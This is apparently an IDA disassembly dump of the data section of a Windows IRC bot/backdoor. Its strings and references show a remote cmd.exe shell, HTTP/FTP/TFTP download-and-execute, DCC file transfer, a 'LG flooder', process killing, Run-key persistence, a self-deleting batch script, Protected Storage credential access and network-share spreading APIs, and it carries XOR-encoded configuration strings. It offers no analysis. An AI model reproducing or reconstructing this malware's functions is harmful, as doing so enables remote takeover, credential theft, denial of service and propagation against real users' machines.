65h aTwindowsdirect db 'tWindowsDirectoryA',0 align 10h db 0BFh ; ¿ db 3, 6Ch, 73h aTrlena db 'trlenA',0 align 4 db 0FFh db 2, 53h, 65h aTcurrentdirect db 'tCurrentDirectoryA',0 align 4 dd 6547016Ch, 636F4C74h, 49656C61h, 416F666Eh, 1DF0000h dd 56746547h, 69737265h, 78456E6Fh, 10C0041h, 43746547h dd 75706D6Fh, 4E726574h, 41656D61h, 1FA0000h aGlobalmemoryst db 'GlobalMemoryStatus',0 align 10h db 46h ; F db 1, 47h, 65h aTdiskfreespace db 'tDiskFreeSpaceExA',0 dw 14Bh aGetdrivetypea db 'GetDriveTypeA',0 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 29Ah aQueryperforman db 'QueryPerformanceFrequency',0 dw 299h aQueryperform_0 db 'QueryPerformanceCounter',0 dd 73490226h, 43646142h, 5065646Fh, 7274h, 65540352h, 6E696D72h dd 54657461h, 61657268h, 2190064h aInitializecr_0 db 'InitializeCriticalSection',0 aP db '',0 aEntercriticals db 'EnterCriticalSection',0 align 2 dw 247h aLeavecriticals db 'LeaveCriticalSection',0 align 2 aI_0 db 'i',0 aCreatethread db 'CreateThread',0 align 2 dw 365h aUnmapviewoffil db 'UnmapViewOfFile',0 db 5Eh ; ^ db 2, 4Dh, 61h aPviewoffile db 'pViewOfFile',0 aN db 'N',0 aCreatefilemapp db 'CreateFileMappingA',0 align 2 dw 3B3h aLstrcmpa db 'lstrcmpA',0 align 2 dw 150h aGetenvironment db 'GetEnvironmentVariableA',0 db 0BCh ; ¼ db 3, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpya db 'trcpyA',0 align 10h aZ db 'Z',0 aCreatemutexa db 'CreateMutexA',0 align 10h db 0Ah db 3, 53h, 65h aTerrormode db 'tErrorMode',0 align 10h aKernel32_dll_0 db 'KERNEL32.dll',0 align 2 dw 2D5h aWsprintfa db 'wsprintfA',0 dw 177h aGetwindowtexta db 'GetWindowTextA',0 align 4 db 17h db 1, 47h, 65h aTforegroundwin db 'tForegroundWindow',0 aU_1 db 'ã',0 aFindwindowa db 'FindWindowA',0 db 3Ah ; : db 2, 53h, 65h aNdmessagea db 'ndMessageA',0 align 10h db 97h ; — db 1, 49h, 73h aCharalphanumer db 'CharAlphaNumericA',0 aUser32_dll db 'USER32.dll',0 align 2 dw 1C9h aRegclosekey db 'RegCloseKey',0 dd 655201D2h, 6C654467h, 56657465h, 65756C61h, 1E20041h dd 4F676552h, 4B6E6570h, 78457965h, 1D90041h, 45676552h dd 566D756Eh, 65756C61h, 1EC0041h, 51676552h, 79726575h dd 756C6156h, 41784565h, 1F90000h, 53676552h, 61567465h dd 4565756Ch, 4178h, 655201CDh, 65724367h, 4B657461h, 78457965h dd 1230041h, 55746547h, 4E726573h, 41656D61h, 0A00000h aCryptreleaseco db 'CryptReleaseContext',0 aC db '–',0 aCryptgenrandom db 'CryptGenRandom',0 align 2 aE db '…',0 aCryptacquireco db 'CryptAcquireContextA',0 align 2 aAdvapi32_dll db 'ADVAPI32.dll',0 align 4 db 7 db 1, 53h, 68h aEllexecutea db 'ellExecuteA',0 aShell32_dll db 'SHELL32.dll',0 db 0BDh ; ½ db 1, 5Fh, 73h aTrcmpi db 'trcmpi',0 align 10h db 34h ; 4 db 1, 5Fh, 69h db 74h ; t db 6Fh, 61h, 0 db 0C5h ; Å db 1, 5Fh, 73h aTrnicmp db 'trnicmp',0 aA_0 db 'A',0 a_cxxthrowexcep db '_CxxThrowException',0 align 2 dw 0Eh a??1type_info@@ db '??1type_info@@UAE@XZ',0 align 2 dw 252h aLocalfree db 'LocalFree',0 aOleaut32_dll db 'OLEAUT32.dll',0 align 4 dd 55h dup(0) off_413000 dd offset dword_413098 ; DATA XREF: sub_401000+Cr ; sub_401000+1Co dd offset dword_41305C dd offset dword_413040 dd offset dword_413014 dd 0 dword_413014 dd 0AFCB978Dh, 0B4E2AB90h, 0E38DB8CCh, 8DEAD4EAh, 94EABAB0h ; DATA XREF: .packed:0041300Co dd 83DBB5B9h, 0E89089E5h, 8EC6D2F0h, 9AEB8282h, 2 dup(0) dword_413040 dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0B4C4BAB8h ; DATA XREF: .packed:00413008o dd 0A399h, 0 dword_41305C dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h ; DATA XREF: .packed:00413004o dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h, 98D795A7h dd 0F3AD96D7h, 90CCF3EAh, 9EFBA7A8h, 0A6h, 0 dword_413098 dd 8FFEA18Dh, 92CC87A2h, 0E59687E5h, 8DDACFF6h, 0ACC4BAB8h ; DATA XREF: .packed:off_413000o dd 98DA88BCh, 0C5A3B9CEh, 87DBD2F1h, 9ECEBAB0h, 98D795A7h dd 0F3AD96D7h, 0EAh, 0 dword_4130CC dd 2343003h, 2037525h, 746F6220h, 20297328h, 6E756F66h ; DATA XREF: sub_4011C4+2CAo dd 69772064h, 73206874h, 6E697274h, 30032067h, 73250234h dd 2E0203h dword_4130F8 dd 62206F4Eh, 2073746Fh, 6E756F66h, 69772064h, 73206874h ; DATA XREF: sub_4011C4+2B1o dd 6E697274h, 30032067h, 73250234h, 2E0203h dword_41311C dd 6E756F66h, 74732064h, 676E6972h, 34300320h, 3732502h ; DATA XREF: sub_4011C4+215o dd 6E692002h, 20732520h, 34300328h, 3692502h, 2902h dword_413144 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 6220676Eh ; DATA XREF: sub_4011C4+46o dd 2073746Fh, 68746977h, 72747320h, 20676E69h, 2343003h dd 2037325h, 3Ah dword_413174 dd 62207325h, 2073746Fh, 68746977h, 72747320h, 20676E69h ; DATA XREF: sub_4014B0+6Co dd 2343003h, 2037325h, 0 aKilling db 'Killing',0 ; DATA XREF: sub_4014B0+65o aListing db 'Listing',0 ; DATA XREF: sub_4014B0+5Bo dword_4131A4 dd 303h ; DATA XREF: sub_401571+91o aCmd_exeProcess db 'Cmd.exe process has terminated.',0 ; DATA XREF: sub_401621+25Fo aCouldNotReadDa db 'Could not read data from process.',0 ; DATA XREF: sub_401621+24Co align 4 aCmd_exe db 'cmd.exe',0 ; DATA XREF: sub_401621+4Ao aErrorWhileExec db 'Error while executing command.',0 ; DATA XREF: sub_4018D5+9Co align 4 asc_413214 db 0Dh,0Ah,0 ; DATA XREF: sub_4018D5+84o ; sub_402EFD+148o ... align 4 aRemoteCmdThrea db 'Remote cmd thread',0 ; DATA XREF: sub_4018D5+6Bo align 4 aOpen db 'open',0 ; DATA XREF: sub_4018D5+22o ; sub_402230+507o ... align 4 dword_413234 dd 65636552h, 64657669h, 34300320h, 3732502h, 72662002h ; DATA XREF: sub_401985+1C7o dd 3206D6Fh, 25023430h, 20020373h, 3206E69h, 25023430h dd 66322E30h, 65730203h, 69772063h, 3206874h, 25023430h dd 66332E30h, 424B0203h, 6365732Fh, 0 dword_413280 dd 3430032Dh, 3752502h, 52202D02h, 69656365h, 676E6976h ; DATA XREF: sub_401985+BCo dd 34300320h, 3732502h, 72662002h, 3206D6Fh, 25023430h dd 20373h dword_4132AC dd 6277h ; DATA XREF: sub_401985+3Co ; sub_402018+12Do ... dword_4132B0 dd 746E6553h, 34300320h, 3732502h, 6F742002h, 34300320h ; DATA XREF: sub_401B81+2D0o dd 3732502h, 6E692002h, 34300320h, 2E302502h, 2036632h dd 20636573h, 68746977h, 34300320h, 2E302502h, 2036633h dd 732F424Bh, 6365h dword_4132F4 dd 6E617254h, 72656673h, 20666F20h, 2343003h, 2037325h ; DATA XREF: sub_401B81+250o dd 206F7420h, 2343003h, 2037325h, 6E616320h, 6C6C6563h dd 6465h dword_413320 dd 3430032Dh, 3752502h, 53202D02h, 69646E65h, 320676Eh ; DATA XREF: sub_401B81+1C7o dd 25023430h, 20020373h, 3206F74h, 25023430h, 20373h dword_413348 dd 43434401h, 4E455320h, 25222044h, 25202273h, 73252064h ; DATA XREF: sub_401B81+17Eo dd 1642520h, 0 aDccSendSS db 'DCC Send %s (%s)',0 ; DATA XREF: sub_401B81+147o align 4 aRb db 'rb',0 ; DATA XREF: sub_401B81+EBo ; sub_404DAD+62o ... align 4 dword_41337C dd 65636552h, 6E697669h, 30032067h, 73250234h, 66200203h ; DATA XREF: sub_401EA8+E2o dd 206D6F72h, 2343003h, 2037325h, 0 dword_4133A0 dd 646E6553h, 20676E69h, 2343003h, 2037325h, 206F7420h ; DATA XREF: sub_401FA3+5Do dd 2343003h, 2037325h, 0 aContentLengthU db 'Content-Length: %u',0Dh,0Ah,0 ; DATA XREF: sub_402018+D7o align 4 aContentLength db 'Content-Length: ',0 ; DATA XREF: sub_402018+AFo align 4 asc_4133EC db 0Dh,0Ah ; DATA XREF: sub_402018+92o db 0Dh,0Ah,0 align 4 aGetSHttp1_0Hos db 'GET /%s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_402018+40o ; sub_4063E4+BAo db 'Host: %s',0Dh,0Ah db 0Dh,0Ah,0 align 4 unk_413414 db 2Dh ; - ; DATA XREF: sub_402230+573o db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aUnsupportedPro db '- Unsupported protocol specified.',0 align 10h dword_413440 dd 3430032Dh, 3752502h, 45202D02h, 726F7272h, 69687720h ; DATA XREF: sub_402230+549o dd 6420656Ch, 6C6E776Fh, 6964616Fh, 320676Eh, 25023430h dd 2E020373h, 0 dword_413470 dd 3430032Dh, 3752502h, 55202D02h, 6C62616Eh, 6F742065h ; DATA XREF: sub_402230+533o dd 61747320h, 3207472h, 25023430h, 2E020373h, 0 dword_413498 dd 3430032Dh, 3752502h, 53202D02h, 65636375h, 75667373h ; DATA XREF: sub_402230+4C9o dd 20796C6Ch, 6E776F64h, 64616F6Ch, 3206465h, 25023430h dd 20020373h, 68746977h, 34300320h, 2E302502h, 2036632h dd 732F424Bh, 73256365h, 2Eh dword_4134E0 dd 7865202Ch, 74756365h, 676E69h ; DATA XREF: sub_402230+476o dword_4134EC dd 7075202Ch, 69746164h, 676Eh ; DATA XREF: sub_402230+46Co unk_4134F8 db 2Dh ; - ; DATA XREF: sub_402230+34Do db 3, 30h, 34h db 2 db 25h, 75h, 3 db 2 aNoFileToDownlo db '- No file to download specified.',0 align 4 asc_413524: ; DATA XREF: sub_402230+332o unicode 0, </>,0 asc_413528: ; DATA XREF: sub_402230+2D0o ; sub_4101E6+334o unicode 0, <:>,0 a69 db '69',0 ; DATA XREF: sub_402230+280o align 10h aTftp db 'tftp://',0 ; DATA XREF: sub_402230+262o aAnonymous db 'anonymous',0 ; DATA XREF: sub_402230+22Fo align 4 a21 db '21',0 ; DATA XREF: sub_402230+20Fo align 4 aFtp db 'ftp://',0 ; DATA XREF: sub_402230+1F5o align 10h a80 db '80',0 ; DATA XREF: sub_402230+1BFo ; sub_4033F9+28o ... align 4 aHttp db 'http://',0 ; DATA XREF: sub_402230+1A5o dword_41355C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 65722074h ; DATA XREF: sub_402230+10Do dd 73206461h, 6372756Fh, 69662065h, 320656Ch, 25023430h dd 2E020373h, 0 dword_41358C dd 3430032Dh, 3752502h, 43202D02h, 6F6E6E61h, 72772074h ; DATA XREF: sub_402230+F4o dd 20657469h, 64206F74h, 69747365h, 6974616Eh, 66206E6Fh dd 20656C69h, 2343003h, 2037325h, 2Eh dword_4135C4 dd 656C6966h, 2F2F3Ah ; DATA XREF: sub_402230+ABo dword_4135CC dd 3430032Dh, 3752502h, 44202D02h, 6C6E776Fh, 6964616Fh ; DATA XREF: sub_402230+98o dd 320676Eh, 25023430h, 20020373h, 3206F74h, 25023430h dd 2E020373h, 0 dword_4135FC dd 6E776F44h, 64616F6Ch, 20676E69h, 2343003h, 2037325h ; DATA XREF: sub_4027CB+97o dd 206F7420h, 2343003h, 2037325h, 0 dword_413620 dd 6578652Eh, 0 ; DATA XREF: sub_4027CB+3Fo ; sub_40E496+44o aQuitRestarting db 'QUIT :restarting',0 ; DATA XREF: sub_40287C:loc_402A00o ; sub_407A76+C17o align 4 aQuitExitting db 'QUIT :exitting',0 ; DATA XREF: sub_40287C+17Do ; sub_407A76:loc_408D31o align 4 dword_41364C dd 3430032Dh, 62656402h, 2036775h ; DATA XREF: sub_40287C+104o aModuleSReporte db '- Module "%s" reported a crash in "%s": N=%u EAX=%08X EBX=%08X EC' db 'X=%08X EDX=%08X ESI=%08X EDI=%08X EBP=%08X ESP=%08X EIP=%08X EFLA' db 'GS=%08X. Code: %08X (%s). %s...',0 align 4 aContinuing db 'Continuing',0 ; DATA XREF: sub_40287C+B3o align 4 aRestarting db 'Restarting',0 ; DATA XREF: sub_40287C+ACo align 4 aException_flt db 'EXCEPTION_FLT',0 ; DATA XREF: sub_40287C:loc_40291Fo align 4 aException_int_ db 'EXCEPTION_INT_DIVIDE_BY_ZERO',0 ; DATA XREF: sub_40287C:loc_402918o align 4 aException_stac db 'EXCEPTION_STACK_OVERFLOW',0 ; DATA XREF: sub_40287C+95o align 10h aException_nonc db 'EXCEPTION_NONCONTINUABLE_EXCEPTION',0 ; DATA XREF: sub_40287C:loc_4028EAo align 4 aException_brea db 'EXCEPTION_BREAKPOINT',0 ; DATA XREF: sub_40287C:loc_4028E3o align 4 aException_acce db 'EXCEPTION_ACCESS_VIOLATION',0 ; DATA XREF: sub_40287C:loc_4028DCo align 4 aException_ille db 'EXCEPTION_ILLEGAL_INSTRUCTION',0 ; DATA XREF: sub_40287C+59o align 4 aException_othe db 'EXCEPTION_OTHER',0 ; DATA XREF: sub_40287C+34o aInternetgetcon db 'InternetGetConnectedStateExA',0 ; DATA XREF: sub_402D7B+172o align 4 aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_402D7B:loc_402EE2o aPstorecreatein db 'PStoreCreateInstance',0 ; DATA XREF: sub_402D7B+15Ao align 4 aPstorec_dll db 'pstorec.dll',0 ; DATA XREF: sub_402D7B:loc_402ECAo aFreeaddrinfo db 'freeaddrinfo',0 ; DATA XREF: sub_402D7B+108o align 4 aGetnameinfo db 'getnameinfo',0 ; DATA XREF: sub_402D7B+FBo aGetaddrinfo db 'getaddrinfo',0 ; DATA XREF: sub_402D7B+F3o aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_402D7B:loc_402E65o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_402D7B+D8o align 4 aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_402D7B+CBo align 4 aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_402D7B+BEo aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_402D7B+B6o aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_402D7B:loc_402E24o aNetaddalternat db 'NetAddAlternateComputerName',0 ; DATA XREF: sub_402D7B+97o aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_402D7B+8Ao align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_402D7B+7Do align 10h aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_402D7B+70o align 10h aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_402D7B+63o align 10h aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_402D7B+56o aNetusedel db 'NetUseDel',0 ; DATA XREF: sub_402D7B+49o align 4 aNetuseadd db 'NetUseAdd',0 ; DATA XREF: sub_402D7B+3Co align 4 aNetusegetinfo db 'NetUseGetInfo',0 ; DATA XREF: sub_402D7B+34o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_402D7B+27o align 4 aInitializecrit db 'InitializeCriticalSectionAndSpinCount',0 ; DATA XREF: sub_402D7B+19o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_402D7B+8o align 4 aUseridUnix db ' : USERID : UNIX : ',0 ; DATA XREF: sub_402EFD+127o dword_4139C0 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 6920676Eh ; DATA XREF: sub_402EFD+6Bo dd 746E6564h, 65732064h, 72657672h, 206E6F20h, 74726F70h dd 34300320h, 3732502h, 2 dword_4139F4 dd 6E656449h, 73206474h, 65767265h, 6E6F2072h, 726F7020h ; DATA XREF: sub_4030A7+5Eo dd 30032074h, 73250234h, 203h dword_413A14 dd 333131h ; DATA XREF: sub_4030A7:loc_4030BCo dword_413A18 dd 0D5EFB9A9h, 99D184E3h, 0E391E4DCh, 0F0h, 0 ; DATA XREF: sub_4033F9+Ao dword_413A2C dd 73255C5Ch, 4350495Ch, 24h ; DATA XREF: sub_40311D+18o dword_413A38 dd 2E3031h ; DATA XREF: sub_40324A+48o dword_413A3C dd 2E323931h, 2E383631h, 0 ; DATA XREF: sub_40324A+34o dword_413A48 dd 2E323731h, 0 ; DATA XREF: sub_40324A+20o dword_413A50 dd 2E373231h, 0 ; DATA XREF: sub_40324A+7o dword_413A58 dd 252E7525h, 75252E75h, 75252Eh ; DATA XREF: sub_409918+172o ; sub_40D6E0+1DFo dword_413A64 dd 313A3Ah ; DATA XREF: sub_40338B+3Co dword_413A68 dd 252E7525h, 75252E75h, 3A75252Eh, 7525h ; DATA XREF: sub_403EA9+48Fo aU_U_U_UU db '%u.%u.%u.%u:%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+204o ; sub_403EA9+2A3o ... align 4 aU db '%u',0Dh,0Ah,0 ; DATA XREF: sub_403EA9+198o ; sub_403EA9+23Fo ... align 4 aU_0 db '%u',0 ; DATA XREF: sub_403EA9+16Ao ; sub_40D6E0+201o align 4 aLgFlooder db 'LG flooder',0 ; DATA XREF: sub_4044AA:loc_40455Eo align 4 aGetmoduleinfor db 'GetModuleInformation',0 ; DATA XREF: sub_4045B7+47o align 4 aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_4045B7+3Ao align 4 aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_4045B7+2Do align 4 aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_4045B7+25o align 4 aPsapi_dll db 'psapi.dll',0 ; DATA XREF: sub_4045B7+Bo align 4 aSystem db 'system',0 ; DATA XREF: sub_404639+C5o ; .packed:00416CF0o ... align 4 dword_413B0C dd 2343003h, 3693425h, 25202E02h, 20583830h, 58383025h ; DATA XREF: sub_40485F+7Eo dd 732520h dword_413B24 dd 3430032Dh, 3752502h, 4C202D02h, 69747369h, 320676Eh ; DATA XREF: sub_40485F+48o dd 25023430h, 2032569h, 6F727020h, 73736563h, 3A7365h dword_413B4C dd 7473694Ch, 6F727020h, 73736563h, 7365h ; DATA XREF: sub_40491E+27o dword_413B5C dd 58323025h, 0 ; DATA XREF: sub_404ACF+1C4o ; sub_40FD22+Do dword_413B64 dd 58383025h, 0 ; DATA XREF: sub_404ACF+181o ; sub_407A76+107Co dword_413B6C dd 7325h ; DATA XREF: sub_404ACF+15Fo ; sub_405FF3+2BAo ... aHkus db 'HKUS',0 ; DATA XREF: sub_404ACF+79o align 4 aHklm db 'HKLM',0 ; DATA XREF: sub_404ACF+5Do align 10h aHkcu db 'HKCU',0 ; DATA XREF: sub_404ACF+41o align 4 aHkcr db 'HKCR',0 ; DATA XREF: sub_404ACF+25o align 10h off_413B90 dd offset dword_413DD8 ; DATA XREF: sub_4050D1+2Er ; sub_4050D1+3Co ... off_413B94 dd offset dword_413DB0 ; DATA XREF: sub_4050D1+156r ; sub_4050D1+167r ... dd offset dword_413DA0 dd offset dword_413DB0 dd offset dword_413D90 dd offset dword_413D6C dd offset dword_413D5C dd offset dword_413D3C dd offset dword_413D28 dd offset dword_413D3C dd offset dword_413D14 dd offset dword_413CFC dd offset dword_413CEC dd offset dword_413CD8 dd offset dword_413CC4 dd offset dword_413CA4 dd offset dword_413C90 dd offset dword_413C74 dd offset dword_413C64 dd offset dword_413C74 dd offset dword_413C54 dd offset dword_413C2C dd offset dword_413C18 dd offset dword_413BF8 dd 2 dup(0) dword_413BF8 dd 89FBA793h, 91D195BAh, 0E8B6EACDh, 8CDBC5F0h, 0BEB8BABBh ; DATA XREF: .packed:00413BECo dd 98D296ADh, 8DAFCBh, 0 dword_413C18 dd 8BE0ABB7h, 92CC89B9h, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BE8o dword_413C2C dd 97E8BE9Fh, 83DF85BCh, 0A691A5D0h, 87D0C1C8h, 9ADFEEACh ; DATA XREF: .packed:00413BE4o dd 96C983A1h, 0E3ACEAC0h, 81C0D6F6h, 0BBh, 0 dword_413C54 dd 88FFA2BFh, 92C683FBh, 2 dup(0) ; DATA XREF: .packed:00413BE0o dword_413C64 dd 94F7BEADh, 0D9C8959Ch, 9AB2DCh, 0 ; DATA XREF: .packed:00413BD8o dword_413C74 dd 94F7BE8Dh, 0D7CC83B9h, 0D59DBFEAh, 87DDD3FDh, 8BD9EEB3h ; DATA XREF: .packed:00413BD4o ; .packed:00413BDCo dd 0A5h, 0 dword_413C90 dd 94F7BEADh, 94C895B9h, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BD0o dword_413CA4 dd 9FF6A789h, 0D7CD91BAh, 0F18BAFF7h, 0C2C2D2EBh, 9EEAA798h ; DATA XREF: .packed:00413BCCo dd 9BD287A2h, 2 dup(0) dword_413CC4 dd 9EEAA7B8h, 9BD287A2h, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BC8o dword_413CD8 dd 9AF6A789h, 0B69E96B8h, 0F291AFDEh, 2 dup(0) ; DATA XREF: .packed:00413BC4o dword_413CEC dd 9AF6A7A9h, 929096B8h, 0AFC1h, 0 ; DATA XREF: .packed:00413BC0o dword_413CFC dd 9FF6A789h, 0D7CD91BAh, 0EA8FB2FCh, 90CCD2EBh, 2 dup(0) ; DATA XREF: .packed:00413BBCo dword_413D14 dd 97E8B6BBh, 85DB94BAh, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BB8o dword_413D28 dd 0B2F6A7A9h, 99D181BAh, 0E387AF97h, 2 dup(0) ; DATA XREF: .packed:00413BB0o dword_413D3C dd 9FF6A789h, 0D7CD91BAh, 0E998A5F5h, 92E880EAh, 98F1A2AEh ; DATA XREF: .packed:00413BACo ; .packed:00413BB4o dd 98D792B4h, 0D7h, 0 dword_413D5C dd 94FFA1B2h, 8FDBC8BBh, 0DCh, 0 ; DATA XREF: .packed:00413BA8o dword_413D6C dd 9EF1A29Dh, 0A49E92BBh, 0E389B8DCh, 97FB80F6h, 96F1BAB0h ; DATA XREF: .packed:00413BA4o dd 85EEC6B0h, 0F59AA9D6h, 0F7h, 0 dword_413D90 dd 88EABDBDh, 92C683FBh, 2 dup(0) ; DATA XREF: .packed:00413BA0o dword_413DA0 dd 88F9BD97h, 8FDBC8A6h, 0DCh, 0 ; DATA XREF: .packed:00413B98o dword_413DB0 dd 9AFBA192h, 92EDC6B9h, 0EF8DBFDAh, 0A389D9F0h, 94F0BAABh ; DATA XREF: .packed:off_413B94o ; .packed:00413B9Co dd 8ECA8FA7h, 0F49A9999h, 87CAC9F2h, 2 dup(0) dword_413DD8 dd 9AEBBDB2h, 8FDBC8A6h, 0DCh, 0 ; DATA XREF: .packed:off_413B90o dword_413DE8 dd 293Ah ; DATA XREF: sub_404D00+8Bo dword_413DEC dd 5Ch ; DATA XREF: sub_404D00+22o ; sub_404DAD+21o ... dword_413DF0 dd 7078655Ch, 65726F6Ch, 78652E72h, 65h ; DATA XREF: sub_404E31+24o aSoftwareMicros db 'Software\Microsoft\Windows\CurrentVersion\Run',0 ; DATA XREF: sub_404EDC+1Ao align 10h a@echoOffDelete db '@echo off',0Dh,0Ah ; DATA XREF: sub_404FEB+99o db ':deleteagain',0Dh,0Ah db 'del /A:H /F %s',0Dh,0Ah db 'del /F %s',0Dh,0Ah db 'if exist %s goto deleteagain',0Dh,0Ah db 'del %s',0Dh,0Ah,0 align 4 a_bat db '.bat',0 ; DATA XREF: sub_404FEB+42o align 4 aWindowsDllLoad db 'Windows DLL Loader',0 ; DATA XREF: sub_4050D1+132o ; sub_4052DF+AAo align 4 aQuitSUninstall db 'QUIT :%s uninstalled.',0 ; DATA XREF: sub_4052DF+D3o ; sub_4052DF+151o align 10h dword_413EC0 dd 6E6E6F43h, 69746365h, 66206E6Fh, 206D6F72h, 2343003h ; DATA XREF: sub_40544F+DDo dd 2037325h, 206F7420h, 6B636F73h, 34300373h, 3752502h dd 65732002h, 72657672h, 7325h dword_413EF4 dd 6A657220h, 65746365h, 64h ; DATA XREF: sub_40544F+C2o dword_413F00 dd 3430032Dh, 3752502h, 52202D02h, 696E6E75h, 7320676Eh ; DATA XREF: sub_4056AC+68o dd 736B636Fh, 72657320h, 20726576h, 70206E6Fh, 2074726Fh dd 2343003h, 2037325h, 0 dword_413F34 dd 6B636F53h, 65732073h, 72657672h, 206E6F20h, 74726F70h ; DATA XREF: sub_4057ED+85o dd 34300320h, 3732502h, 2 dword_413F54 dd 20h ; DATA XREF: sub_4058EE+39o ; sub_4058EE+6Fo ... dword_413F58 dd 30h ; DATA XREF: sub_405BDF+85o ; sub_408E1A+D6o ... dword_413F5C dd 252E7325h, 73252E73h, 73252Eh ; DATA XREF: sub_405C9C+DBo ; sub_405D8C+AEo dword_413F68 dd 0D5F6BDB3h, 0D389B6h, 0 ; DATA XREF: sub_406373+5o aIQBgEFSsoR db '©¹ïÕ¡ƒÌ…ØäœééŽË',0 ; DATA XREF: sub_406373+11o align 4 dd 0 dword_413F8C dd 0D5F6BDB3h, 83B1h, 0 ; DATA XREF: sub_406373+1Fo dword_413F98 dd 96EDAFBAh, 83DB88FBh, 2 dup(0) ; DATA XREF: sub_406373+2Do dword_413FA8 dd 9CF7A1B9h, 969083B9h, 0DCh, 0 ; DATA XREF: sub_406373+3Bo dword_413FB8 dd 9EF6A7B0h, 0D9D095B8h, 0A892A5DAh, 0D5E5h, 0 ; DATA XREF: sub_406373+4Bo off_413FCC dd offset dword_4140F0 ; DATA XREF: sub_4063E4+Er ; sub_4063E4+18o ... off_413FD0 dd offset dword_4140BC ; DATA XREF: sub_4063E4+5Br dd offset dword_4140A0 dd offset dword_41405C dd offset aLLDifjqsZbG ; "«½¶œ´‹Û„ˆä†ïéLJ±£" dd offset dword_413FEC dd 2 dup(0) dword_413FEC dd 95EFA1BAh, 93DF89B9h, 0EB9EAD97h, 9B87D3E1h, 94F7A6BFh ; DATA XREF: .packed:00413FE0o dd 9AD185FBh, 0EB9EAD96h, 8686D3E1h, 97F6B9B1h, 0D8DA87BAh dd 0E898A3CAh, 9286C4E1h, 9AFBBEB1h, 96C7C9A5h, 0D990A5D1h dd 87C3C5E6h, 9EF4ABA9h, 83E1D4B1h, 0B7D2FBD4h, 87D1C5AAh dd 2 dup(0) aLLDifjqsZbG db '«½¶œ´‹Û„ˆä†ïéLJ±£',0 ; DATA XREF: .packed:00413FDCo align 4 dd 0 dword_41405C dd 95EFA1BAh, 93DF89B9h, 0B7D0F996h, 0D186C6ABh, 0CAACA8EFh ; DATA XREF: .packed:00413FD8o dd 0DA89D4E1h, 0E3CBFA81h, 849194A9h, 98A0E3E7h, 0C293DEE4h dd 0BF9BFBD8h, 0DA9CC2B7h, 0D4FDFDEBh, 84DF95B8h, 0A89CA4C0h dd 0CCD8E1h, 0 dword_4140A0 dd 95EFA1BAh, 93DF89B9h, 0E596A797h, 8DDACFF6h, 98B6BAB8h ; DATA XREF: .packed:00413FD4o dd 8BBAh, 0 dword_4140BC dd 9AECAFBAh, 0D8D083FAh, 0A998A3DBh, 90DBD5E7h, 0D4ECA0BBh ; DATA XREF: .packed:off_413FD0o dd 90D18992h, 0E9ABAFD5h, 83CBCCEBh, 88F687ACh, 9BD287A1h dd 0E3D1B8DCh, 0C5FCh, 0 dword_4140F0 dd 97F7A1AAh, 0D9CC87B7h, 0E190A5DEh, 8187C5E8h, 0A3B1h ; DATA XREF: .packed:off_413FCCo dd 0 off_414108 dd offset byte_415355 ; DATA XREF: sub_405F9A+29o dword_41410C dd 74737953h, 69206D65h, 726F666Eh, 6974616Dh, 2D206E6Fh ; DATA XREF: sub_405FF3+29Ao dd 3A534F20h, 6E695720h, 73776F64h, 34300320h, 3732502h dd 25282002h, 76202C73h, 2343003h, 252E6425h, 2C020364h dd 30036220h, 64250234h, 2E290203h, 55504320h, 7325203Ah dd 34300320h, 3642502h, 7A484D02h, 6152202Eh, 3203A6Dh dd 25023430h, 4D020364h, 30032F42h, 64250234h, 424D0203h dd 65726620h, 49202E65h, 3A367650h, 34300320h, 3732502h dd 55202E02h, 6D697470h, 3203A65h, 25023430h, 64020364h dd 73257961h, 34300320h, 3642502h, 756F6802h, 20732572h dd 2343003h, 2036425h, 756E696Dh, 73256574h, 6F43202Eh dd 7475706Dh, 616E7265h, 203A656Dh, 2343003h, 2037325h dd 7355202Eh, 203A7265h, 2343003h, 2037325h, 0A0D2Eh dword_4141FC dd 73h ; DATA XREF: sub_405FF3+239o ; sub_40656A+16Eo ... aProcessornames db 'ProcessorNameString',0 ; DATA XREF: sub_405FF3+1FBo aHardwareDescri db 'HARDWARE\DESCRIPTION\System\CentralProcessor\0',0 ; DATA XREF: sub_405FF3+1D1o align 4 aNo db 'No',0 ; DATA XREF: sub_405FF3+19Ao ; sub_40656A+11Do ... align 4 aYes db 'Yes',0 ; DATA XREF: sub_405FF3+191o ; sub_40656A+118o ... a2003 db '2003',0 ; DATA XREF: sub_405FF3+16Ao ; .packed:00416EBCo align 4 aXp db 'XP',0 ; DATA XREF: sub_405FF3+15Ao align 4 a2000 db '2000',0 ; DATA 